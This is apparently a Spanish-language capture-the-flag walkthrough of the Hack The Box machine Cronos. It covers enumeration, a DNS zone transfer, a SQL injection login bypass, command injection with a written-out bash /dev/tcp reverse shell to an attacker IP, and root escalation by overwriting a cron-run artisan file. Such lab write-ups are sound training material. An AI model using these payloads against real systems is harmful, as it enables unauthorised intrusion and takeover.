Table of contents
Reconocimiento
primero debemos comprobar si tenemos conexión con nuestro objetivo, el cual es 10.10.10.13
.
Realizaremos un ping a la dirección IP y podemos comprobar que tenemos conexión, así también observar según el ttl que nos encontramos con un Linux.
Enumeración
Haciendo uso de Nmap podemos observar que tenemos los siguientes puertos abiertos.
Realizamos un análisis más profundo con estos puertos 22,53,80
.
Ingresamos a la dirección, pero no tenemos mayor información que nos pueda servir para explotar el servicio.
Por ello buscamos de más información por medio del IP usando Nslookup para tener más información y con ello notamos que tiene de dominio, ns1.cronos.htb
así también podemos tener en cuenta que el dominio base es cronos.htb
el cual agregaremos al host.
Como ya tenemos el nombre del dominio, procedemos a realizar una transferencia de zona para tener mayor información del sistema y podemos observar que tenemos otro subdominio como admin.cronos.htb
.
Usando wfuzz también podemos observar que nos muestra admin.cronos.htb
, ahora agregaremos a /etc/hosts
.
Ingresamos a los dominios para buscar mayor información, si ingresamos a cronos.htb
no encontramos nada interesante, tanto haciendo fuzing y revisando el código de la página.
Ingresamos al dominio admin.cronos.htb
y podemos observar que se trata de un login.
Procedemos a probar credenciales comunes, pero ninguna es aceptada, para ello procedemos a usar inyecciones SQL y podemos acceder la siguiente ' or 1=1-- -
.
Cuando ingresemos probamos la funcionalidad del servicio y si funciona.
Explotación
Probamos realizando una inyección adicional en la petición y podemos ver que tenemos respuesta esperada.
Como pudimos comprobar, tenemos acceso y podemos ejecutar comandos, en este caso usaremos el siguiente comando para establecer una conexión con nuestro equipo bash -c "bash -i >& /dev/tcp/10.10.14.18/1234 0>&1"
. Antes de enviar habilitamos nc para escuchar la respuesta.
Luego de enviar la petición recibiremos la respuesta y como se puede observar que ya estamos en la dirección objetivo y ya tendríamos acceso al flag.
Para la escala de privilegios primero vemos permisos SUID y Capabilities, pero no hay una que nos sea útil de primera.
Como no encontramos una manera de Revisamos los crontab y podemos observar un /var/www/laravel/artisan
es un archivo que se ejecuta como root.
Si nos dirigimos a esta ubicación podemos ver que el archivo artisan
pertenece a www-data que somos nosotros.
Como es un archivo que se ejecuta con frecuencia podemos reemplazarlo por uno que nos sea conveniente, ya que luego de ello se ejecutaran como administrador, en nuestro caso usaremos una reverse shell a la que le daremos los puertos 1222.
Primero iniciamos nuestro servidor para descargar el reverse shell.
Descargamos el archivo y reemplazamos el archivo descargado por artisan en la dirección donde se encontraba el archivo.
Como el archivo artisan pertenece a una tarea programada iniciamos el nc con la dirección programada en el shell y esperamos tener una conexión, luego de establecer la conexión podemos ver que somos root y de este modo ya podemos leer el flag para confirmar nuestro acceso a la máquina.